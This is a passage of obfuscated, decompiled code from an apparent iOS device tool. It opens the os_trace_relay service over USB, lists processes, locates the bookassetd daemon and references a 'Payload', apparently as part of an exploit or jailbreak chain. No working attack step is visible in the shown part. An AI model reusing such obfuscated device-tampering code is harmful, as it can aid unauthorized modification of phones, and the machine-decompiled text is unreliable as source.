v17 = (UInt8 *)malloc(v16);
AMDServiceConnectionReceive(*v95);
v18 = CFDataCreate(allocator, v17, v16);
HikariFunctionWrapper_16927(v17);
v2 = (__int64)v18;
CFPropertyListCreateWithData(allocator, v18, 0, 0, 0);
CFRelease(v18);
*v97 = 1099117565;
}
}
else
{
if ( v61 == -886011891 )
{
v2 = (__int64)CFSTR("\x00\x1C,\x14\xE1\x9F\xE06");
Value = CFDictionaryGetValue((CFDictionaryRef)v80, CFSTR("\x00\x1C,\x14\xE1\x9F\xE06"));
v6 = 0;
v75 = Value;
v4 = 1585074246;
v7 = -886011891;
goto LABEL_547;
}
if ( v61 == -884198137 )
{
v3 = 0;
v4 = 1436848804;
v5 = 1531649106;
goto LABEL_543;
}
}
}
else if ( v61 > -707759726 )
{
if ( v61 <= -625012592 )
{
switch ( v61 )
{
case -707759725:
v91 = theString1 == 0;
v3 = 1;
v4 = 664742419;
goto LABEL_504;
case -670303242:
v87 = v38 == v39;
*v97 = -1270845707;
break;
case -662252768:
*v97 = -953996623;
break;
}
}
else if ( v61 > -589331179 )
{
if ( v61 == -589331178 )
{
*v97 = -911759652;
}
else if ( v61 == -563431537 )
{
*v97 = -837663772;
}
}
else if ( v61 == -625012591 )
{
v81 = v55 == 0;
*v97 = -55246275;
}
else if ( v61 == -600853469 )
{
NSLog(CFSTR("\xD4\xD8\xF3\x8E\x4D\x42H\xFA]\x99\x19\xF1\x28\x16\x42n^\xDA\xD1\x16\b\xA9U\x16\x8F\x01[\v\x01"));
v6 = 1;
v4 = -191139128;
v7 = 2081715669;
goto LABEL_547;
}
}
else if ( v61 <= -792139710 )
{
switch ( v61 )
{
case -838313880:
v3 = 0;
v4 = 1590840367;
v5 = -1421627145;
goto LABEL_543;
case -837663772:
v1 = 1301276;
v10 = 0;
v4 = -27380592;
v11 = 1060011523;
goto LABEL_529;
case -799877886:
v2 = (__int64)CFSTR("\x00\x1C,\x14\xE1\x9F\xE06");
HikariFunctionWrapper_16933(
(const __CFDictionary *)v80,
CFSTR("\x00\x1C,\x14\xE1\x9F\xE06"));
*v97 = -886011891;
break;
}
}
else if ( v61 > -740852280 )
{
if ( v61 == -740852279 )
{
*v97 = 1605143577;
v68 = -1;
}
else if ( v61 == -729431557 )
{
v10 = !v92;
v4 = 1880943678;
v11 = -1293092650;
goto LABEL_529;
}
}
else
{
if ( v61 == -792139709 )
{
v3 = 1;
v4 = 571641295;
v5 = -988939896;
goto LABEL_543;
}
if ( v61 == -765854297 )
*v97 = 989532834;
}
}
else if ( v61 > -324865333 )
{
if ( v61 > -165256243 )
{
if ( v61 <= -55246276 )
{
switch ( v61 )
{
case -165256242:
v2 = (__int64)propertyList;
HikariFunctionWrapper_16917(
allocator,
propertyList,
kCFPropertyListXMLFormat_v1_0,
0,
error);
HikariFunctionWrapper_16919(propertyList);
*v97 = -1312902452;
break;
case -94143081:
*v97 = -884198137;
break;
case -58005269:
v2 = (__int64)CFSTR("\xA7H\x0FI\x877\x86\x16Hٓ");
v44 = CFStringCompare(theString1, CFSTR("\xA7H\x0FI\x877\x86\x16Hٓ"), 0);
*v97 = 560388626;
break;
}
}
else if ( v61 > -27380593 )
{
if ( v61 == -27380592 )
{
*v97 = 1060011523;
}
else if ( v61 == -21099875 )
{
v8 = 0;
v4 = -600853469;
v9 = -191139128;
goto LABEL_538;
}
}
else
{
if ( v61 == -55246275 )
{
v10 = !v81;
v4 = -2044259492;
v11 = -792139709;
goto LABEL_529;
}
if ( v61 == -35691038 )
*v97 = 612376978;
}
}
else if ( v61 <= -261283231 )
{
switch ( v61 )
{
case -324865332:
*v97 = 2030568810;
break;
case -296559515:
CFDictionaryGetTypeID();
*v97 = -523843095;
break;
case -262687942:
v1 = 1657656012;
v6 = 1;
v4 = 1475002027;
v7 = -1310798195;
goto LABEL_547;
}
}
else if ( v61 > -191139129 )
{
if ( v61 == -191139128 )
{
NSLog(CFSTR("\xD4\xD8\xF3\x8E\x4D\x42H\xFA]\x99\x19\xF1\x28\x16\x42n^\xDA\xD1\x16\b\xA9U\x16\x8F\x01[\v\x01"));
*v97 = -600853469;
}
else if ( v61 == -181329555 )
{
v2 = (__int64)"intValue";
HikariFunctionWrapper_16945(*v51, "intValue");
*v97 = 1623599027;
}
}
else
{
if ( v61 == -261283230 )
{
v70 = v53;
v6 = 0;
v4 = 733955082;
v7 = 1698047903;
goto LABEL_547;
}
if ( v61 == -205431324 )
{
asc_100278670[4] = v96;
asc_100278670[5] = 111;
asc_100278670[6] = 32;
asc_100278670[7] = 115;
asc_100278670[8] = 101;
asc_100278670[9] = 32;
asc_100278670[10] = 112;
asc_100278670[11] = 117;
asc_100278670[12] = 100;
asc_100278670[13] = 111;
asc_100278670[14] = 32;
asc_100278670[15] = 105;
asc_100278670[16] = 110;
asc_100278670[17] = 105;
asc_100278670[18] = 99;
asc_100278670[19] = 105;
asc_100278670[20] = 97;
asc_100278670[21] = 114;
asc_100278670[22] = 32;
asc_100278670[23] = 115;
asc_100278670[24] = 101;
asc_100278670[25] = 114;
asc_100278670[26] = 118;
asc_100278670[27] = 105;
asc_100278670[28] = 99;
asc_100278670[29] = 105;
asc_100278670[30] = 111;
asc_100278670[31] = 32;
asc_100278670[32] = 111;
asc_100278670[33] = 115;
asc_100278670[34] = 95;
asc_100278670[35] = 116;
asc_100278670[36] = 114;
asc_100278670[37] = 97;
asc_100278670[38] = 99;
asc_100278670[39] = 101;
asc_100278670[40] = 95;
asc_100278670[41] = 114;
asc_100278670[42] = 101;
asc_100278670[43] = 108;
asc_100278670[44] = 97;
asc_100278670[45] = 121;
asc_100278670[46] = 44;
asc_100278670[47] = 32;
asc_100278670[48] = 101;
asc_100278670[49] = 114;
asc_100278670[50] = 114;
asc_100278670[51] = 61;
v1 = 100316453;
asc_100278670[52] = 37;
asc_100278670[53] = 100;
v10 = 0;
asc_100278670[54] = 0;
v4 = 486592628;
v11 = -384889765;
goto LABEL_529;
}
}
}
else if ( v61 > -426441961 )
{
if ( v61 <= -352367292 )
{
switch ( v61 )
{
case -426441960:
v1 = 339810323;
v83 = v62 == 0;
v6 = 1;
v4 = -426441960;
v7 = 74181159;
goto LABEL_547;
case -416771221:
v2 = 2280731493LL;
v1 = 2184184645LL;
v3 = 0;
v4 = 162218110;
v5 = 552780193;
goto LABEL_543;
case -384889765:
*v97 = -2044259492;
break;
}
}
else if ( v61 > -347335296 )
{
if ( v61 == -347335295 )
{
v3 = v54 < 0x7C4F15AE;
v4 = 539275518;
v5 = -1211345500;
goto LABEL_543;
}
if ( v61 == -330794745 )
{
*v97 = 920118369;
v67 = v58;
}
}
else
{
if ( v61 == -352367291 )
{
v10 = !v87;
v4 = 1847446839;
v11 = -838313880;
goto LABEL_529;
}
if ( v61 == -348083827 )
{
HikariFunctionWrapper_16929(v80);
*v97 = 954069751;
}
}
}
else if ( v61 <= -471677564 )
{
switch ( v61 )
{
case -523843095:
v85 = v37 == HikariFunctionWrapper_16903();
v6 = 1;
v4 = -296559515;
v7 = 2109584182;
goto LABEL_547;
case -518360729:
v93 = v52 == Count;
*v97 = 1477312984;
break;
case -483123006:
aE_14[23] = v79;
aE_14[24] = 32;
aE_14[25] = 110;
aE_14[26] = 111;
aE_14[27] = 32;
aE_14[28] = 101;
aE_14[29] = 115;
aE_14[30] = 32;
aE_14[31] = 100;
aE_14[32] = 105;
aE_14[33] = 99;
aE_14[34] = 99;
aE_14[35] = 105;
aE_14[36] = 111;
aE_14[37] = 110;
aE_14[38] = 97;
aE_14[39] = 114;
aE_14[40] = 105;
aE_14[41] = 111;
aE_14[42] = 0;
asc_1002787F5[0] = 80;
asc_1002787F5[1] = 105;
asc_1002787F5[2] = 100;
asc_1002787F5[3] = 76;
asc_1002787F5[4] = 105;
asc_1002787F5[5] = 115;
asc_1002787F5[6] = 116;
asc_1002787F5[7] = 0;
strcpy(asc_1002786B3, "ProcessName");
strcpy(aS_7, "[+] PID de bookassetd: %d");
aA_9[0] = 91;
aA_9[1] = 33;
aA_9[2] = 93;
aA_9[3] = 32;
aA_9[4] = 78;
aA_9[5] = 111;
aA_9[6] = 32;
aA_9[7] = 115;
aA_9[8] = 101;
aA_9[9] = 32;
aA_9[10] = 101;
aA_9[11] = 110;
aA_9[12] = 99;
aA_9[13] = 111;
aA_9[14] = 110;
aA_9[15] = 116;
aA_9[16] = 114;
aA_9[17] = 243;
aA_9[18] = 32;
aA_9[19] = 80;
aA_9[20] = 97;
aA_9[21] = 121;
aA_9[22] = 108;
aA_9[23] = 111;
v2 = 4294936320LL;
aA_9[24] = 97;
aA_9[25] = 100;
aA_9[26] = 0;
strcpy(asc_1002786CA, "bookassetd");
strcpy(asc_1002787D0, "[!] bookassetd no encontrado");
v1 = 8;
asc_100278670[0] = 91;
asc_100278670[1] = 33;
asc_100278670[2] = 93;
asc_100278670[3] = 32;
v6 = 0;
v96 = 78;
v4 = 1866762945;
LABEL_502:
v7 = -483123006;
goto LABEL_547;
}
}
else if ( v61 > -438555826 )
{
if ( v61 == -438555825 )
{
v6 = 0;
v4 = -2022822142;
v7 = 2009927415;
goto LABEL_547;
}
if ( v61 == -432414177 )
*v97 = -1147756624;
}
else
{
if ( v61 == -471677563 )
{
v2 = 3548589120LL;
v1 = 2194145314LL;
v3 = 1;
v4 = -707759725;
LABEL_504:
v5 = -1248670682;
goto LABEL_543;
}
if ( v61 == -464388047 )
*v97 = 1726027310;
}
}
else if ( v61 <= -1654938531 )
{
if ( v61 <= -1828717966 )
{
if ( v61 <= -2022822143 )
{
if ( v61 > -2049994264 )
{
switch ( v61 )
{
case -2049994263:
v1 = 1711968672;
v2 = 3038806276LL;
v8 = 0;
v4 = 511938839;
v9 = -2049994263;
goto LABEL_538;
case -2044259492:
*v97 = 37325295;
break;
case -2041197734:
v38 = CFGetTypeID(v75);
TypeID = CFDictionaryGetTypeID();
v6 = 1;
v39 = TypeID;
v4 = 1048987780;
v7 = -1404321119;
goto LABEL_547;
}
}
else
{
switch ( v61 )
{
case -2111611779:
goto LABEL_206;
case -2086470970:
v2 = 0;
v1 = 0;
v3 = 1;
v4 = 1124870835;
v5 = 597079967;
goto LABEL_543;
case -2060517968:
*v97 = -471677563;
break;
}
}
}
else if ( v61 <= -1874568688 )
{
switch ( v61 )
{
case -2022822142:
allocator = (CFAllocatorRef)-1LL;
propertyList = CFDictionaryCreateMutable(
(CFAllocatorRef)0xFFFFFFFFFFFFFFFFLL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
v2 = (__int64)CFSTR("\xE7\xCD\x81&\xD6\xE4B");
HikariFunctionWrapper_16887(
(__CFDictionary *)propertyList,
CFSTR("\xE7\xCD\x81&\xD6\xE4B"),
CFSTR("\xEB\xF6\x7C/N\xB9\x9F\xA5"));
v6 = 1;
*error = 0;
v4 = -2022822142;
v7 = 1359045179;
goto LABEL_547;
case -1969026830:
*v97 = -1425859546;
break;
case -1901783098:
v1 = 553595135;
v6 = 0;
v4 = 1079614921;
v7 = -1824308084;
goto LABEL_547;
}
}
else if ( v61 > -1854348698 )
{
if ( v61 == -1854348697 )
{
free(keys);
free(v63);
CFRelease(v80);
AMDServiceConnectionInvalidate(*v95, v2, v23);
v94 = v78 == -1;
v8 = 0;
v4 = 752024740;
v9 = -1854348697;
goto LABEL_538;
}
if ( v61 == -1842010464 )
{
v2 = started;
HikariFunctionWrapper_16885(&stru_100278B60.isa);
*v97 = -416771221;
}
}
else if ( v61 == -1874568687 )
{
*v97 = -426441960;
}
else if ( v61 == -1870414397 )
{
LABEL_106:
*v97 = 1844838576;
}
}
else if ( v61 > -1722712332 )
{
if ( v61 <= -1699879688 )
{
switch ( v61 )
{
case -1722712331:
v2 = 2518910520LL;
v1 = 2518844472LL;
v6 = 1;
v4 = 2057108476;
goto LABEL_502;
case -1715102430:
dword_10029F508 = 1;
*v97 = 37325295;
break;
case -1713380632:
v2 = (__int64)CFSTR("\xAA\x81\xD0\xC4\xFEP\xF1\x6F\x19\xDC\x94");
HikariFunctionWrapper_16943(theDict, CFSTR("\xAA\x81\xD0\xC4\xFEP\xF1\x6F\x19\xDC\x94"));
*v97 = 812334543;
break;
}
}
else if ( v61 > -1678947851 )
{
if ( v61 == -1678947850 )
{
*v97 = 302389885;
}
else if ( v61 == -1665724132 )
{
*v97 = 1170629886;
}
}
else
{
if ( v61 == -1699879687 )
{
v1 = 4294637431LL;
v8 = 0;
v4 = -1737583592;
v9 = 1967040227;
goto LABEL_538;
}
if ( v61 == -1695684121 )
{
v1 = 102508119;
v6 = 0;
v4 = 1049831510;
v7 = -1406303937;
goto LABEL_547;
}
}
}
else if ( v61 <= -1766082006 )
{
switch ( v61 )
{
case -1828717965:
v1 = 1176124855;
v6 = 0;
v4 = 20635714;
v7 = 1666824416;
goto LABEL_547;
case -1824308084:
*v97 = -1901783098;
break;
case -1797687584:
*v97 = -1678947850;
break;
}
}
else if ( v61 > -1737583593 )
{
if ( v61 == -1737583592 )
{
AMDServiceConnectionInvalidate(v46, v2, v1);
v3 = 0;
v4 = 1967040227;
v5 = 703792328;
goto LABEL_543;
}
if ( v61 == -1731561800 )
*v97 = -1350548693;
}
else if ( v61 == -1766082005 )
{
*v97 = 512444773;
}
else if ( v61 == -1765254874 )
{
v1 = 16859200;
v3 = 0;
v4 = -1824308084;
v5 = -1901783098;
goto LABEL_543;
}
}
else if ( v61 > -1312902453 )
{
if ( v61 > -1229988950 )
{
if ( v61 <= -1117585391 )
{
switch ( v61 )
{
case -1229988949:
v1 = 1610682516;
v10 = 0;
v4 = -1229988949;
v11 = 1665229995;
goto LABEL_529;
case -1211345500:
v8 = 0;
v55 = dword_10029F508;
v4 = -1654938530;
v9 = 539275518;
LABEL_538:
if ( v8 )
v4 = v9;
LABEL_549:
*v97 = v4;
break;
case -1147756624:
v1 = 138142102;
v6 = 0;
v51 = &keys[v70];
v4 = 269385041;
LABEL_446:
v7 = -432414177;
goto LABEL_547;
}
}
else if ( v61 > -1090802634 )
{
if ( v61 == -1090802633 )
{
v1 = 8655368;
v6 = 1;
v4 = 400448875;
v7 = 168422363;
goto LABEL_547;
}
if ( v61 == -1033872542 )
{
HikariFunctionWrapper_16905(CFSTR("⇷滇᧓ꕆ쭰ݫ邕醞金䆔䊗娹꣕뮵ḙ帝螸ℳ椳뺼鞦渳 䕟갑՜恐\xEA\xDD輪㋢팂ჽﳔꛎ拍뉆꽴鍹꿷뽕"));
v3 = 0;
v4 = -1033872542;
v5 = -1797687584;
goto LABEL_543;
}
}
else
{
if ( v61 == -1117585390 )
{
v1 = 74043348;
v8 = 0;
v4 = -1312902452;
v9 = -165256242;
goto LABEL_538;
}
if ( v61 == -1107933132 )
{
v12 = 281899893;
if ( v88 )
v12 = -261283230;
*v97 = v12;
v53 = 0;
v74 = -1;
}
}
}
else if ( v61 <= -1293092651 )
{
switch ( v61 )
{
case -1312902452:
v2 = (__int64)propertyList;
theData = CFPropertyListCreateData(
allocator,
propertyList,
kCFPropertyListXMLFormat_v1_0,
0,
error);
CFRelease(propertyList);
v6 = 1;
v62 = *error;
v4 = -165256242;
v7 = -662252768;
goto LABEL_547;
case -1310798195:
v2 = 1294863270;
CFRelease(v80);
v6 = 0;
v4 = 1136773600;
v7 = 1475002027;
goto LABEL_547;
case -1300438269:
v63 = malloc(__size);
v2 = (__int64)keys;
CFDictionaryGetKeysAndValues((CFDictionaryRef)v75, (const void **)keys, (const void **)v63);
v88 = Count > 0;
v6 = 0;
v4 = 1790178561;
v7 = -1300438269;
goto LABEL_547;
}
}
else if ( v61 > -1257366070 )
{
if ( v61 == -1257366069 )
{
v10 = !v84;
v4 = 1073792126;
v11 = -1387249257;
goto LABEL_529;
}
if ( v61 == -1248670682 )
*v97 = -707759725;
}
else
{
if ( v61 == -1293092650 )
{
v1 = 1166259448;
v6 = 0;
v4 = -1147756624;
goto LABEL_446;
}
if ( v61 == -1270845707 )
{
v1 = 1609202017;
v8 = 0;
v4 = -1491255472;
v9 = 1113733355;
goto LABEL_538;
}
}
}
else if ( v61 > -1421627146 )
{
if ( v61 <= -1387249258 )
{
switch ( v61 )
{
case -1421627145:
Count = CFDictionaryGetCount((CFDictionaryRef)v75);
__size = 8 * Count;
keys = (void **)malloc(8 * Count);
*v97 = -5264754;
break;
case -1406303937:
CFDataGetBytePtr(theData);
Length = CFDataGetLength(theData);
*(_DWORD *)v64 = _byteswap_ulong(Length);
AMDServiceConnectionSend(*v95);
HikariFunctionWrapper_16921(*v95);
CFRelease(theData);
*(_BYTE *)v65 = 0;
v2 = (__int64)v65;
HikariFunctionWrapper_16923(*v95);
*v97 = 1049831510;
break;
case -1404321119:
*v97 = -670303242;
break;
}
}
else if ( v61 > -1353513411 )
{
if ( v61 == -1353513410 )
{
*v97 = -1356294042;
}
else if ( v61 == -1350548693 )
{
v3 = 1;
v4 = -523843095;
v5 = -296559515;
goto LABEL_543;
}
}
else
{
if ( v61 == -1387249257 )
{
v1 = 2991235784LL;
v2 = 2175013385LL;
v6 = 0;
v4 = -1033872542;
v7 = 1828763615;
goto LABEL_547;
}
if ( v61 == -1356294042 )
*v97 = 1099117565;
}
}
else if ( v61 <= -1569693758 )
{
switch ( v61 )
{
case -1654938530:
*v97 = -625012591;
break;
case -1625985974:
v10 = !v90;
v4 = 1880943678;
v11 = -882393098;
LABEL_529:
if ( !v10 )
v4 = v11;
goto LABEL_549;
case -1618437993:
*v97 = 898665701;
break;
}
}
else if ( v61 > -1426322282 )
{
if ( v61 == -1426322281 )
{
*v97 = 922079184;
}
else if ( v61 == -1425859546 )
{
v3 = 0;
v46 = *v95;
v4 = -1969026830;
v5 = 25225258;
goto LABEL_543;
}
}
else if ( v61 == -1569693757 )
{
v2 = v78;
HikariFunctionWrapper_16949(CFSTR("\x1BS\x9DZf\xB13uo\x80\x139\x14\xDB\xD5\xAB-\xB7\x8Fu\x18QP\x0E\xCB\xFC"));
*v97 = 1680777614;
}
else if ( v61 == -1491255472 )
{
v2 = 1120464936;
v1 = 2688584768LL;
v3 = 1;
v4 = -352367291;
v5 = -1491255472;
goto LABEL_543;
}
}
if ( v61 > 1079614920 )
break;
if ( v61 <= 512444772 )
{
if ( v61 <= 175990063 )
{
if ( v61 <= 33405046 )
{
if ( v61 > 8388183 )
{
switch ( v61 )
{
case 8388184:
HikariFunctionWrapper_16935(v80);
AMDServiceConnectionInvalidate(*v95, v2, v29);
*v97 = 95304875;
break;
case 20635714:
v90 = v42 == v43;
*v97 = -1625985974;
break;
case 25225258:
*v97 = -1699879687;
break;
}
}
else
{
switch ( v61 )
{
case -15235109:
v3 = 0;
v4 = -181329555;
goto LABEL_465;
case -5264754:
*v97 = 1450620177;
break;
case 3341227:
HikariFunctionWrapper_16907(CFSTR("ퟖ餳ᆝ잿偟귞쎴箠咮ა\xFD\xD9\x41\x2C㛏쁦跲Օ苜閡柪⠽ሣ\uD7C9옷嵚沏"));
v10 = 0;
v4 = 636871817;
v11 = -324865332;
goto LABEL_529;
}
}
}
else if ( v61 <= 95304874 )
{
switch ( v61 )
{
case 33405047:
*v97 = 1607318565;
break;
case 37325295:
dword_10029F508 = 1;
v10 = 0;
v95 = &v35 - 2;
v4 = 37325295;
v11 = -464388047;
goto LABEL_529;
case 74181159:
v10 = !v83;
v4 = -1618437993;
v11 = -1695684121;
goto LABEL_529;
}
}
else if ( v61 > 162218109 )
{
if ( v61 == 162218110 )
{
*v97 = 552780193;
}
else if ( v61 == 168422363 )
{
v10 = !v85;
v4 = 776034846;
v11 = 990749531;
goto LABEL_529;
}
}
else
{
if ( v61 == 95304875 )
{
HikariFunctionWrapper_16909(v80);
AMDServiceConnectionInvalidate(*v95, v2, v21);
v8 = 0;
v4 = -1665724132;
v9 = 95304875;
goto LABEL_538;
}
if ( v61 == 135126510 )
{
v58 = v77;
*v97 = -963118788;
}
}
}
else if ( v61 > 323026167 )
{
if ( v61 <= 449943531 )
{
switch ( v61 )
{
case 323026168:
v4 = -1842010464;
if ( v36 )
v4 = -438555825;
v8 = !v82;
v9 = -1842010464;
goto LABEL_538;
case 372285581:
NSLog(CFSTR("⇷滇᧓ꕆ쭰ݫ邕醞金䆔䊗娹꣕뮵ḙ帝螸ℳ椳뺼鞦渳 䕟갑՜恐\xEA\xDD輪㋢팂ჽﳔꛎ拍뉆꽴鍹꿷뽕"));
v8 = 0;
v4 = 820421334;
v9 = 372285581;
goto LABEL_538;
case 400448875:
*v97 = -1090802633;
break;
}
}
else if ( v61 > 508187206 )
{
if ( v61 == 508187207 )
{
v3 = 1;
v4 = -2049994263;
v5 = 1311737609;
goto LABEL_543;
}
if ( v61 == 511938839 )
{
v10 = !v86;
v4 = 2061265536;
v11 = 1847446839;
goto LABEL_529;
}
}
else if ( v61 == 449943532 )
{
v24 = (const void **)HikariFunctionWrapper_16939(__size);
v2 = (__int64)keys;
HikariFunctionWrapper_16941((const __CFDictionary *)v75, (const void **)keys, v24);
*v97 = -1300438269;
}
else if ( v61 == 486592628 )
{
asc_100278670[4] = v96;
asc_100278670[5] = 111;
asc_100278670[6] = 32;
asc_100278670[7] = 115;
asc_100278670[8] = 101;
asc_100278670[9] = 32;
asc_100278670[10] = 112;
asc_100278670[11] = 117;
asc_100278670[12] = 100;
asc_100278670[13] = 111;
asc_100278670[14] = 32;
asc_100278670[15] = 105;
asc_100278670[16] = 110;
asc_100278670[17] = 105;
asc_100278670[18] = 99;
asc_100278670[19] = 105;
asc_100278670[20] = 97;
asc_100278670[21] = 114;
asc_100278670[22] = 32;
asc_100278670[23] = 115;
asc_100278670[24] = 101;
asc_100278670[25] = 114;
asc_100278670[26] = 118;
asc_100278670[27] = 105;
asc_100278670[28] = 99;
asc_100278670[29] = 105;
asc_100278670[30] = 111;
asc_100278670[31] = 32;
asc_100278670[32] = 111;
asc_100278670[33] = 115;
asc_100278670[34] = 95;
asc_100278670[35] = 116;
asc_100278670[36] = 114;
asc_100278670[37] = 97;
asc_100278670[38] = 99;
asc_100278670[39] = 101;
asc_100278670[40] = 95;
asc_100278670[41] = 114;
asc_100278670[42] = 101;
asc_100278670[43] = 108;
asc_100278670[44] = 97;
asc_100278670[45] = 121;
asc_100278670[46] = 44;
asc_100278670[47] = 32;
asc_100278670[48] = 101;
asc_100278670[49] = 114;
asc_100278670[50] = 114;
asc_100278670[51] = 61;
asc_100278670[52] = 37;
asc_100278670[53] = 100;
asc_100278670[54] = 0;
*v97 = -205431324;
}
}
else if ( v61 <= 249739708 )
{
switch ( v61 )
{
case 175990064:
v2 = 1209648141;
v1 = 2732851216LL;
v10 = 0;
v4 = -1569693757;
v11 = 1680777614;
goto LABEL_529;
case 204078879:
*v97 = 2051398418;
break;
case 245169001:
*v97 = 135126510;
v77 = v78;
break;
}
}
else if ( v61 > 281899892 )
{
if ( v61 == 281899893 )
{
v78 = v74;
v3 = 0;
v4 = 1410400802;
v5 = -1854348697;
goto LABEL_543;
}
if ( v61 == 302389885 )
{
v1 = 962062312;
v3 = 0;
v4 = -1016894513;
v5 = 1394064648;
goto LABEL_543;
}
}
else
{
if ( v61 == 249739709 )
{
v10 = !v89;
v4 = 1880943678;
v11 = 819876563;
goto LABEL_529;
}
if ( v61 == 269385041 )
*v97 = -15235109;
}
}
else if ( v61 > 819876562 )
{
if ( v61 > 989532833 )
{
if ( v61 <= 1049831509 )
{
switch ( v61 )
{
case 989532834:
v3 = 0;
v4 = -765854297;
v5 = 1947524877;
goto LABEL_543;
case 990749531:
v2 = 5119713;
v1 = 4456544;
v6 = 0;
v4 = -886011891;
v7 = -799877886;
goto LABEL_547;
case 1048987780:
CFGetTypeID(v75);
CFDictionaryGetTypeID();
*v97 = -2041197734;
break;
}
}
else if ( v61 > 1065383566 )
{
if ( v61 == 1065383567 )
{
v86 = v75 == 0;
*v97 = 508187207;
}
else if ( v61 == 1073792126 )
{
v6 = 1;
v4 = -348083827;
v7 = 954069751;
goto LABEL_547;
}
}
else
{
if ( v61 == 1049831510 )
{
CFDataGetBytePtr(theData);
v26 = CFDataGetLength(theData);
*(_DWORD *)v64 = _byteswap_ulong(v26);
AMDServiceConnectionSend(*v95);
HikariFunctionWrapper_16891(*v95);
CFRelease(theData);
*(_BYTE *)v65 = 0;
v2 = (__int64)v65;
AMDServiceConnectionReceive(*v95);
v6 = 1;
v4 = -1406303937;
v7 = -1353513410;
goto LABEL_547;
}
if ( v61 == 1060011523 )
{
v84 = v80 == 0;
v3 = 1;
v4 = -1257366069;
v5 = 1060011523;
goto LABEL_543;
}
}
}
else if ( v61 <= 898665700 )
{
switch ( v61 )
{
case 819876563:
v6 = 1;
v4 = -1426322281;
v7 = 922079184;
goto LABEL_547;
case 820421334:
*v97 = -262687942;
break;
case 896507340:
*v97 = 245169001;
break;
}
}
else if ( v61 > 922079183 )
{
if ( v61 == 922079184 )
{
v1 = 101537398;
v6 = 0;
v40 = (CFDictionaryRef *)((char *)v63 + 8 * v70);
v41 = *v40;
v4 = -1766082005;
v7 = -1426322281;
goto LABEL_547;
}
if ( v61 == 954069751 )
{
v19 = CFGetTypeID(v80);
v6 = 1;
v37 = v19;
v4 = 954069751;
v7 = -1731561800;
goto LABEL_547;
}
}
else if ( v61 == 898665701 )
{
v2 = (__int64)v62;
HikariFunctionWrapper_16889(&stru_100278A60.isa);
objc_release(v62);
*v97 = 1440531680;
}
else if ( v61 == 920118369 )
{
v59 = v67;
goto LABEL_106;
}
}
else if ( v61 > 636871816 )
{
if ( v61 <= 733955081 )
{
switch ( v61 )
{
case 636871817:
NSLog(CFSTR("ퟖ餳ᆝ잿偟귞쎴箠咮ა\xFD\xD9\x41\x2C㛏쁦跲Օ苜閡柪⠽ሣ\uD7C9옷嵚沏"));
*v97 = 3341227;
break;
case 664742419:
v10 = !v91;
v4 = -58005269;
v11 = 1880943678;
goto LABEL_529;
case 703792328:
*v97 = 1711025989;
break;
}
}
else if ( v61 > 776034845 )
{
if ( v61 == 776034846 )
{
v2 = 3643828992LL;
v1 = 277364784;
v3 = 0;
v4 = 1728954922;
v5 = 372285581;
goto LABEL_543;
}
if ( v61 == 812334543 )
{
v2 = (__int64)CFSTR("\xAA\x81\xD0\xC4\xFEP\xF1\x6F\x19\xDC\x94");
v20 = (const __CFString *)CFDictionaryGetValue(
theDict,
CFSTR("\xAA\x81\xD0\xC4\xFEP\xF1\x6F\x19\xDC\x94"));
v3 = 0;
theString1 = v20;
v4 = 812334543;
v5 = -2060517968;
goto LABEL_543;
}
}
else
{
if ( v61 == 733955082 )
{
v2 = 687604480;
v25 = CFGetTypeID(keys[v70]);
v89 = v25 == CFStringGetTypeID();
v10 = 0;
v4 = 733955082;
v11 = 249739709;
goto LABEL_529;
}
if ( v61 == 752024740 )
{
v10 = !v94;
v4 = 175990064;
v11 = -21099875;
goto LABEL_529;
}
}
}
else if ( v61 <= 560388625 )
{
switch ( v61 )
{
case 512444773:
v42 = CFGetTypeID(v41);
v43 = CFDictionaryGetTypeID();
*v97 = -1828717965;
break;
case 539275518:
*v97 = -1211345500;
break;
case 552780193:
v3 = 0;
v4 = 162218110;
v5 = -740852279;
goto LABEL_543;
}
}
else if ( v61 > 597079966 )
{
if ( v61 == 597079967 )
{
*v97 = -2086470970;
}
else if ( v61 == 612376978 )
{
v1 = 2418837040LL;
v92 = v44 == kCFCompareEqualTo;
v3 = 0;
v4 = 612376978;
v5 = -94143081;
goto LABEL_543;
}
}
else
{
if ( v61 == 560388626 )
{
v2 = 2043756032;
v1 = 1367355392;
v10 = 0;
v4 = -35691038;
v11 = 612376978;
goto LABEL_529;
}
if ( v61 == 571641295 )
{
strcpy(asc_100278390, "com.apple.os_trace_relay");
strcpy(asc_100278330, "[!] Error serializando request: %@");
asc_1002787A2[0] = 80;
asc_1002787A2[1] = 97;
asc_1002787A2[2] = 121;
asc_1002787A2[3] = 108;
asc_1002787A2[4] = 111;
asc_1002787A2[5] = 97;
asc_1002787A2[6] = 100;
asc_1002787A2[7] = 0;
asc_100277EC3[0] = 82;
asc_100277EC3[1] = 101;
asc_100277EC3[2] = 113;
asc_100277EC3[3] = 117;
asc_100277EC3[4] = 101;
asc_100277EC3[5] = 115;
aE_14[0] = 91;
aE_14[1] = 33;
aE_14[2] = 93;
aE_14[3] = 32;
aE_14[4] = 82;
aE_14[5] = 101;
aE_14[6] = 115;
aE_14[7] = 112;
aE_14[8] = 117;
aE_14[9] = 101;
aE_14[10] = 115;
aE_14[11] = 116;
aE_14[12] = 97;
aE_14[13] = 32;
aE_14[14] = 105;
aE_14[15] = 110;
aE_14[16] = 118;
aE_14[17] = 225;
aE_14[18] = 108;
aE_14[19] = 105;
aE_14[20] = 100;
aE_14[21] = 97;
aE_14[22] = 32;
v2 = 4294967167LL;
asc_100277EC3[6] = 116;
asc_100277EC3[7] = 0;
v1 = 2448468417LL;
v6 = 1;
v79 = 111;
v4 = -988939896;
v7 = 1556483131;
goto LABEL_547;
}
}
}
if ( v61 > 1605143576 )
break;
if ( v61 <= 1444071349 )
{
if ( v61 <= 1195597656 )
{
if ( v61 > 1124870834 )
{
switch ( v61 )
{
case 1124870835:
LABEL_404:
*v97 = 1444071350;
break;
case 1136773600:
*v97 = 2145083405;
break;
case 1170629886:
LABEL_206:
*v97 = 135126510;
v77 = -1;
break;
}
}
else
{
switch ( v61 )
{
case 1079614921:
goto LABEL_206;
case 1099117565:
*v71 = 0;
HikariFunctionWrapper_16893(*v95);
v30 = _byteswap_ulong(*v71);
v31 = (UInt8 *)HikariFunctionWrapper_16895(v30);
HikariFunctionWrapper_16897(*v95);
v32 = HikariFunctionWrapper_16899(allocator, v31, v30);
free(v31);
v2 = (__int64)v32;
v80 = HikariFunctionWrapper_16901(allocator, v32, 0, 0, 0);
CFRelease(v32);
v6 = 0;
v4 = -563431537;
